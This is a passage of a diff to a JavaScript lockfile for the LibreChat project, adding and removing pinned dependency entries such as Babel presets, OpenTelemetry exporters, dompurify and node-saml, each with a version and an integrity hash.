"sha512-8XkAphELsDnEGrDxUOHB3RGvXz6TeuYSGEZBOjtTtPm2lwhGBjLgOzLHB63IUWfBpNucQjND6d3AOudO+H3RWQ=="], - "@librechat/client/@babel/preset-env": ["@babel/preset-env@7.28.5", "", { "dependencies": { "@babel/compat-data": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.28.5", "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.27.1", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.27.1", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.27.1", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.28.3", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-import-assertions": "^7.27.1", "@babel/plugin-syntax-import-attributes": "^7.27.1", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.27.1", "@babel/plugin-transform-async-generator-functions": "^7.28.0", "@babel/plugin-transform-async-to-generator": "^7.27.1", "@babel/plugin-transform-block-scoped-functions": "^7.27.1", "@babel/plugin-transform-block-scoping": "^7.28.5", "@babel/plugin-transform-class-properties": "^7.27.1", "@babel/plugin-transform-class-static-block": "^7.28.3", "@babel/plugin-transform-classes": "^7.28.4", "@babel/plugin-transform-computed-properties": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.5", "@babel/plugin-transform-dotall-regex": "^7.27.1", "@babel/plugin-transform-duplicate-keys": "^7.27.1", "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-dynamic-import": "^7.27.1", "@babel/plugin-transform-explicit-resource-management": "^7.28.0", "@babel/plugin-transform-exponentiation-operator": "^7.28.5", "@babel/plugin-transform-export-namespace-from": "^7.27.1", "@babel/plugin-transform-for-of": "^7.27.1", "@babel/plugin-transform-function-name": "^7.27.1", "@babel/plugin-transform-json-strings": "^7.27.1", "@babel/plugin-transform-literals": "^7.27.1", "@babel/plugin-transform-logical-assignment-operators": "^7.28.5", "@babel/plugin-transform-member-expression-literals": "^7.27.1", "@babel/plugin-transform-modules-amd": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-modules-systemjs": "^7.28.5", "@babel/plugin-transform-modules-umd": "^7.27.1", "@babel/plugin-transform-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-new-target": "^7.27.1", "@babel/plugin-transform-nullish-coalescing-operator": "^7.27.1", "@babel/plugin-transform-numeric-separator": "^7.27.1", "@babel/plugin-transform-object-rest-spread": "^7.28.4", "@babel/plugin-transform-object-super": "^7.27.1", "@babel/plugin-transform-optional-catch-binding": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.28.5", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/plugin-transform-private-methods": "^7.27.1", "@babel/plugin-transform-private-property-in-object": "^7.27.1", "@babel/plugin-transform-property-literals": "^7.27.1", "@babel/plugin-transform-regenerator": "^7.28.4", "@babel/plugin-transform-regexp-modifiers": "^7.27.1", "@babel/plugin-transform-reserved-words": "^7.27.1", "@babel/plugin-transform-shorthand-properties": "^7.27.1", "@babel/plugin-transform-spread": "^7.27.1", "@babel/plugin-transform-sticky-regex": "^7.27.1", "@babel/plugin-transform-template-literals": "^7.27.1", "@babel/plugin-transform-typeof-symbol": "^7.27.1", "@babel/plugin-transform-unicode-escapes": "^7.27.1", "@babel/plugin-transform-unicode-property-regex": "^7.27.1", "@babel/plugin-transform-unicode-regex": "^7.27.1", "@babel/plugin-transform-unicode-sets-regex": "^7.27.1", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.14", "babel-plugin-polyfill-corejs3": "^0.13.0", "babel-plugin-polyfill-regenerator": "^0.6.5", "core-js-compat": "^3.43.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-S36mOoi1Sb6Fz98fBfE+UZSpYw5mJm0NUHtIKrOuNcqeFauy1J6dIvXm2KRVKobOSaGq4t/hBXdN4HGU3wL9Wg=="], + "@librechat/agents/nanoid": ["nanoid@3.3.11", "", { "bin": { "nanoid": "bin/nanoid.cjs" } }, "sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w=="], - "@librechat/client/@babel/preset-react": ["@babel/preset-react@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-transform-react-display-name": "^7.28.0", "@babel/plugin-transform-react-jsx": "^7.27.1", "@babel/plugin-transform-react-jsx-development": "^7.27.1", "@babel/plugin-transform-react-pure-annotations": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Z3J8vhRq7CeLjdC58jLv4lnZ5RKFUJWqH5emvxmv9Hv3BD1T9R/Im713R4MTKwvFaV74ejZ3sM01LyEKk4ugNQ=="], - - "@librechat/client/@babel/preset-typescript": ["@babel/preset-typescript@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-typescript": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+bQy5WOI2V6LJZpPVxY+yp66XdZ2yifu0Mc1aP5CQKgjn4QM5IN2i5fAZ4xKop47pr8rpVhiAeu+nDQa12C8+g=="], - - "@librechat/frontend/@babel/preset-env": ["@babel/preset-env@7.28.5", "", { "dependencies": { "@babel/compat-data": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-bugfix-firefox-class-in-computed-class-key": "^7.28.5", "@babel/plugin-bugfix-safari-class-field-initializer-scope": "^7.27.1", "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.27.1", "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.27.1", "@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly": "^7.28.3", "@babel/plugin-proposal-private-property-in-object": "7.21.0-placeholder-for-preset-env.2", "@babel/plugin-syntax-import-assertions": "^7.27.1", "@babel/plugin-syntax-import-attributes": "^7.27.1", "@babel/plugin-syntax-unicode-sets-regex": "^7.18.6", "@babel/plugin-transform-arrow-functions": "^7.27.1", "@babel/plugin-transform-async-generator-functions": "^7.28.0", "@babel/plugin-transform-async-to-generator": "^7.27.1", "@babel/plugin-transform-block-scoped-functions": "^7.27.1", "@babel/plugin-transform-block-scoping": "^7.28.5", "@babel/plugin-transform-class-properties": "^7.27.1", "@babel/plugin-transform-class-static-block": "^7.28.3", "@babel/plugin-transform-classes": "^7.28.4", "@babel/plugin-transform-computed-properties": "^7.27.1", "@babel/plugin-transform-destructuring": "^7.28.5", "@babel/plugin-transform-dotall-regex": "^7.27.1", "@babel/plugin-transform-duplicate-keys": "^7.27.1", "@babel/plugin-transform-duplicate-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-dynamic-import": "^7.27.1", "@babel/plugin-transform-explicit-resource-management": "^7.28.0", "@babel/plugin-transform-exponentiation-operator": "^7.28.5", "@babel/plugin-transform-export-namespace-from": "^7.27.1", "@babel/plugin-transform-for-of": "^7.27.1", "@babel/plugin-transform-function-name": "^7.27.1", "@babel/plugin-transform-json-strings": "^7.27.1", "@babel/plugin-transform-literals": "^7.27.1", "@babel/plugin-transform-logical-assignment-operators": "^7.28.5", "@babel/plugin-transform-member-expression-literals": "^7.27.1", "@babel/plugin-transform-modules-amd": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-modules-systemjs": "^7.28.5", "@babel/plugin-transform-modules-umd": "^7.27.1", "@babel/plugin-transform-named-capturing-groups-regex": "^7.27.1", "@babel/plugin-transform-new-target": "^7.27.1", "@babel/plugin-transform-nullish-coalescing-operator": "^7.27.1", "@babel/plugin-transform-numeric-separator": "^7.27.1", "@babel/plugin-transform-object-rest-spread": "^7.28.4", "@babel/plugin-transform-object-super": "^7.27.1", "@babel/plugin-transform-optional-catch-binding": "^7.27.1", "@babel/plugin-transform-optional-chaining": "^7.28.5", "@babel/plugin-transform-parameters": "^7.27.7", "@babel/plugin-transform-private-methods": "^7.27.1", "@babel/plugin-transform-private-property-in-object": "^7.27.1", "@babel/plugin-transform-property-literals": "^7.27.1", "@babel/plugin-transform-regenerator": "^7.28.4", "@babel/plugin-transform-regexp-modifiers": "^7.27.1", "@babel/plugin-transform-reserved-words": "^7.27.1", "@babel/plugin-transform-shorthand-properties": "^7.27.1", "@babel/plugin-transform-spread": "^7.27.1", "@babel/plugin-transform-sticky-regex": "^7.27.1", "@babel/plugin-transform-template-literals": "^7.27.1", "@babel/plugin-transform-typeof-symbol": "^7.27.1", "@babel/plugin-transform-unicode-escapes": "^7.27.1", "@babel/plugin-transform-unicode-property-regex": "^7.27.1", "@babel/plugin-transform-unicode-regex": "^7.27.1", "@babel/plugin-transform-unicode-sets-regex": "^7.27.1", "@babel/preset-modules": "0.1.6-no-external-plugins", "babel-plugin-polyfill-corejs2": "^0.4.14", "babel-plugin-polyfill-corejs3": "^0.13.0", "babel-plugin-polyfill-regenerator": "^0.6.5", "core-js-compat": "^3.43.0", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-S36mOoi1Sb6Fz98fBfE+UZSpYw5mJm0NUHtIKrOuNcqeFauy1J6dIvXm2KRVKobOSaGq4t/hBXdN4HGU3wL9Wg=="], - - "@librechat/frontend/@babel/preset-react": ["@babel/preset-react@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-transform-react-display-name": "^7.28.0", "@babel/plugin-transform-react-jsx": "^7.27.1", "@babel/plugin-transform-react-jsx-development": "^7.27.1", "@babel/plugin-transform-react-pure-annotations": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-Z3J8vhRq7CeLjdC58jLv4lnZ5RKFUJWqH5emvxmv9Hv3BD1T9R/Im713R4MTKwvFaV74ejZ3sM01LyEKk4ugNQ=="], - - "@librechat/frontend/@babel/preset-typescript": ["@babel/preset-typescript@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-typescript": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+bQy5WOI2V6LJZpPVxY+yp66XdZ2yifu0Mc1aP5CQKgjn4QM5IN2i5fAZ4xKop47pr8rpVhiAeu+nDQa12C8+g=="], + "@librechat/backend/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.6", "", { "dependencies": { "@smithy/abort-controller": "^4.2.6", "@smithy/protocol-http": "^5.3.6", "@smithy/querystring-builder": "^4.2.6", "@smithy/types": "^4.10.0", "tslib": "^2.6.2" } }, "sha512-Gsb9jf4ido5BhPfani4ggyrKDd3ZK+vTFWmUaZeFg5G3E5nhFmqiTzAIbHqmPs1sARuJawDiGMGR/nY+Gw6+aQ=="], "@librechat/frontend/@react-spring/web": ["@react-spring/web@9.7.5", "", { "dependencies": { "@react-spring/animated": "~9.7.5", "@react-spring/core": "~9.7.5", "@react-spring/shared": "~9.7.5", "@react-spring/types": "~9.7.5" }, "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0", "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-lmvqGwpe+CSttsWNZVr+Dg62adtKhauGwLyGE/RRyZ8AAMLgb9x3NDMA5RMElXo+IMyTkPp7nxTB8ZQlmhb6JQ=="], "@librechat/frontend/@testing-library/jest-dom": ["@testing-library/jest-dom@5.17.0", "", { "dependencies": { "@adobe/css-tools": "^4.0.1", "@babel/runtime": "^7.9.2", "@types/testing-library__jest-dom": "^5.9.1", "aria-query": "^5.0.0", "chalk": "^3.0.0", "css.escape": "^1.5.1", "dom-accessibility-api": "^0.5.6", "lodash": "^4.17.15", "redent": "^3.0.0" } }, "sha512-ynmNeT7asXyH3aSVv4vvX4Rb+0qjOhdNHnO/3vuZNqPmhDpV/+rCSGwQ7bLcmU2cJ4dvoheIO85LQj0IbJHEtg=="], - "@librechat/frontend/framer-motion": ["framer-motion@11.18.2", "", { "dependencies": { "motion-dom": "^11.18.1", "motion-utils": "^11.18.1", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid"] }, "sha512-5F5Och7wrvtLVElIpclDT0CBzMVg3dL22B64aZwHtsIY8RB4mXICLrkajK4G9R+ieSAGcgrLeae2SeUTg2pr6w=="], + "@librechat/frontend/@types/node": ["@types/node@20.19.37", "", { "dependencies": { "undici-types": "~6.21.0" } }, "sha512-8kzdPJ3FsNsVIurqBs7oodNnCEVbni9yUEkaHbgptDACOPW04jimGagZ51E6+lXUwJjgnBw+hyko/lkFWCldqw=="], - "@librechat/frontend/jest-environment-jsdom": ["jest-environment-jsdom@29.7.0", "", { "dependencies": { "@jest/environment": "^29.7.0", "@jest/fake-timers": "^29.7.0", "@jest/types": "^29.6.3", "@types/jsdom": "^20.0.0", "@types/node": "*", "jest-mock": "^29.7.0", "jest-util": "^29.7.0", "jsdom": "^20.0.0" }, "peerDependencies": { "canvas": "^2.5.0" }, "optionalPeers": ["canvas"] }, "sha512-k9iQbsf9OyOfdzWH8HDmrRT0gSIcX+FLNW7IQq94tFX0gynPwqDTW0Ho6iMVNjGz/nb+l/vW3dWM2bbLLpkbXA=="], + "@librechat/frontend/dompurify": ["dompurify@3.3.0", "", { "optionalDependencies": { "@types/trusted-types": "^2.0.7" } }, "sha512-r+f6MYR1gGN1eJv0TVQbhA7if/U7P87cdPl3HN5rikqaBSBxLiCb/b9O+2eG0cxz0ghyU+mU1QkbsOwERMYlWQ=="], + + "@librechat/frontend/framer-motion": ["framer-motion@11.18.2", "", { "dependencies": { "motion-dom": "^11.18.1", "motion-utils": "^11.18.1", "tslib": "^2.4.0" }, "peerDependencies": { "@emotion/is-prop-valid": "*", "react": "^18.0.0 || ^19.0.0", "react-dom": "^18.0.0 || ^19.0.0" }, "optionalPeers": ["@emotion/is-prop-valid"] }, "sha512-5F5Och7wrvtLVElIpclDT0CBzMVg3dL22B64aZwHtsIY8RB4mXICLrkajK4G9R+ieSAGcgrLeae2SeUTg2pr6w=="], "@librechat/frontend/lucide-react": ["lucide-react@0.394.0", "", { "peerDependencies": { "react": "^16.5.1 || ^17.0.0 || ^18.0.0" } }, "sha512-PzTbJ0bsyXRhH59k5qe7MpTd5MxlpYZUcM9kGSwvPGAfnn0J6FElDwu2EX6Vuh//F7y60rcVJiFQ7EK9DCMgfw=="], "@mcp-ui/client/@modelcontextprotocol/sdk": ["@modelcontextprotocol/sdk@1.21.0", "", { "dependencies": { "ajv": "^8.17.1", "ajv-formats": "^3.0.1", "content-type": "^1.0.5", "cors": "^2.8.5", "cross-spawn": "^7.0.5", "eventsource": "^3.0.2", "eventsource-parser": "^3.0.0", "express": "^5.0.1", "express-rate-limit": "^7.5.0", "pkce-challenge": "^5.0.0", "raw-body": "^3.0.0", "zod": "^3.23.8", "zod-to-json-schema": "^3.24.1" }, "peerDependencies": { "@cfworker/json-schema": "^4.1.1" } }, "sha512-YFBsXJMFCyI1zP98u7gezMFKX4lgu/XpoZJk7ufI6UlFKXLj2hAMUuRlQX/nrmIPOmhRrG6tw2OQ2ZA/ZlXYpQ=="], + "@mistralai/mistralai/zod-to-json-schema": ["zod-to-json-schema@3.24.3", "", { "peerDependencies": { "zod": "^3.24.1" } }, "sha512-HIAfWdYIt1sssHfYZFCXp4rU1w2r8hVVXYIlmoa0r0gABLs5di3RCqPU5DDROogVz1pAdYBaz7HK5n9pSUNs3A=="], + "@modelcontextprotocol/sdk/ajv": ["ajv@8.17.1", "", { "dependencies": { "fast-deep-equal": "^3.1.3", "fast-uri": "^3.0.1", "json-schema-traverse": "^1.0.0", "require-from-string": "^2.0.2" } }, "sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g=="], - "@modelcontextprotocol/sdk/express-rate-limit": ["express-rate-limit@7.5.0", "", { "peerDependencies": { "express": "^4.11 || 5 || ^5.0.0-beta.1" } }, "sha512-eB5zbQh5h+VenMPM3fh+nw1YExi5nMr6HUCR62ELSP11huvxm/Uir1H1QEyTkk5QX6A58pX6NmaTMceKZ0Eodg=="], - - "@modelcontextprotocol/sdk/zod-to-json-schema": ["zod-to-json-schema@3.25.0", "", { "peerDependencies": { "zod": "^3.25 || ^4" } }, "sha512-HvWtU2UG41LALjajJrML6uQejQhNJx+JBO9IflpSja4R03iNWfKXrj6W2h7ljuLyc1nKS+9yDyL/9tD1U/yBnQ=="], - "@node-saml/node-saml/@types/qs": ["@types/qs@6.14.0", "", {}, "sha512-eOunJqu0K1923aExK6y8p6fsihYEn/BYuQ4g0CxAAgFc4b/ZLN4CrsRZ55srTdqoiLzU2B2evC+apEIxprEzkQ=="], + "@node-saml/node-saml/debug": ["debug@4.4.0", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-6WTZ/IxCY/T6BALoZHaE4ctp9xm+Z5kY/pzYaCHRFeyVhojxlrm+46y68HA6hr0TcwEssoxNiDEUJQjfPZ/RYA=="], + + "@node-saml/node-saml/xmlbuilder": ["xmlbuilder@15.1.1", "", {}, "sha512-yMqGBqtXyeN1e3TGYvgNgDVZ3j84W4cwkOXQswghol6APgZWaff9lnbvN7MHYJOiXsvGPXtjTYJEiC9J2wv9Eg=="], + "@node-saml/passport-saml/@types/express": ["@types/express@4.17.23", "", { "dependencies": { "@types/body-parser": "*", "@types/express-serve-static-core": "^4.17.33", "@types/qs": "*", "@types/serve-static": "*" } }, "sha512-Crp6WY9aTYP3qPi2wGDo9iUe/rceX01UMhnF1jmwDcKCFM6cx7YhGP/Mpr3y9AASpfHixIG0E6azCcL5OcDHsQ=="], "@node-saml/passport-saml/passport": ["passport@0.7.0", "", { "dependencies": { "passport-strategy": "1.x.x", "pause": "0.0.1", "utils-merge": "^1.0.1" } }, "sha512-cPLl+qZpSc+ireUvt+IzqbED1cHHkDoVYMo30jbJIdOOjQ1MQYZBPiNvmi8UM6lJuOpTPXJGZQk0DtC4y61MYQ=="], - "@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.208.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.208.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-gMd39gIfVb2OgxldxUtOwGJYSH8P1kVFFlJLuut32L6KgUC4gl1dMhn+YC2mGn0bDOiQYSk/uHOdSjuKp58vvA=="], + "@opentelemetry/exporter-logs-otlp-grpc/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="], - "@opentelemetry/exporter-trace-otlp-http/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.208.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.208.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.208.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-DCFPY8C6lAQHUNkzcNT9R+qYExvsk6C5Bto2pbNxgicpcSWbe2WHShLxkOxIdNcBiYPdVHv/e7vH7K6TI+C+fQ=="], + "@opentelemetry/exporter-logs-otlp-grpc/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="], + + "@opentelemetry/exporter-logs-otlp-http/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="], + + "@opentelemetry/exporter-logs-otlp-http/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="], + + "@opentelemetry/exporter-logs-otlp-proto/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="], + + "@opentelemetry/exporter-logs-otlp-proto/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="], + + "@opentelemetry/exporter-metrics-otlp-grpc/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="], + + "@opentelemetry/exporter-metrics-otlp-grpc/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="], + + "@opentelemetry/exporter-metrics-otlp-http/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="], + + "@opentelemetry/exporter-metrics-otlp-http/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="], + + "@opentelemetry/exporter-metrics-otlp-proto/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="], + + "@opentelemetry/exporter-metrics-otlp-proto/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="], + + "@opentelemetry/exporter-trace-otlp-grpc/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="], + + "@opentelemetry/exporter-trace-otlp-grpc/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="], + + "@opentelemetry/exporter-trace-otlp-proto/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-4RQluMVVGMrHok/3SVeSJ6EnRNkA2MINcX88sh+d/7DjGUrewW/WT88IsMEci0wUM+5ykTpPPNbEOoW+jwHnbw=="], + + "@opentelemetry/exporter-trace-otlp-proto/@opentelemetry/otlp-transformer": ["@opentelemetry/otlp-transformer@0.207.0", "", { "dependencies": { "@opentelemetry/api-logs": "0.207.0", "@opentelemetry/core": "2.2.0", "@opentelemetry/resources": "2.2.0", "@opentelemetry/sdk-logs": "0.207.0", "@opentelemetry/sdk-metrics": "2.2.0", "@opentelemetry/sdk-trace-base": "2.2.0", "protobufjs": "^7.3.0" }, "peerDependencies": { "@opentelemetry/api": "^1.3.0" } }, "sha512-+6DRZLqM02uTIY5GASMZWUwr52sLfNiEe20+OEaZKhztCs3+2LxoTjb6JxFRd9q1qNqckXKYlUKjbH/AhG8/ZA=="], + + "@opentelemetry/otlp-grpc-exporter-base/@opentelemetry/otlp-exporter-base": ["@opentelemetry/otlp-exporter-base@0.207.0", "", { "dependencies": { "@opentelemetry/core": "2.2.0", "@opentelemetry/otlp-transformer": "0.207.0" }, 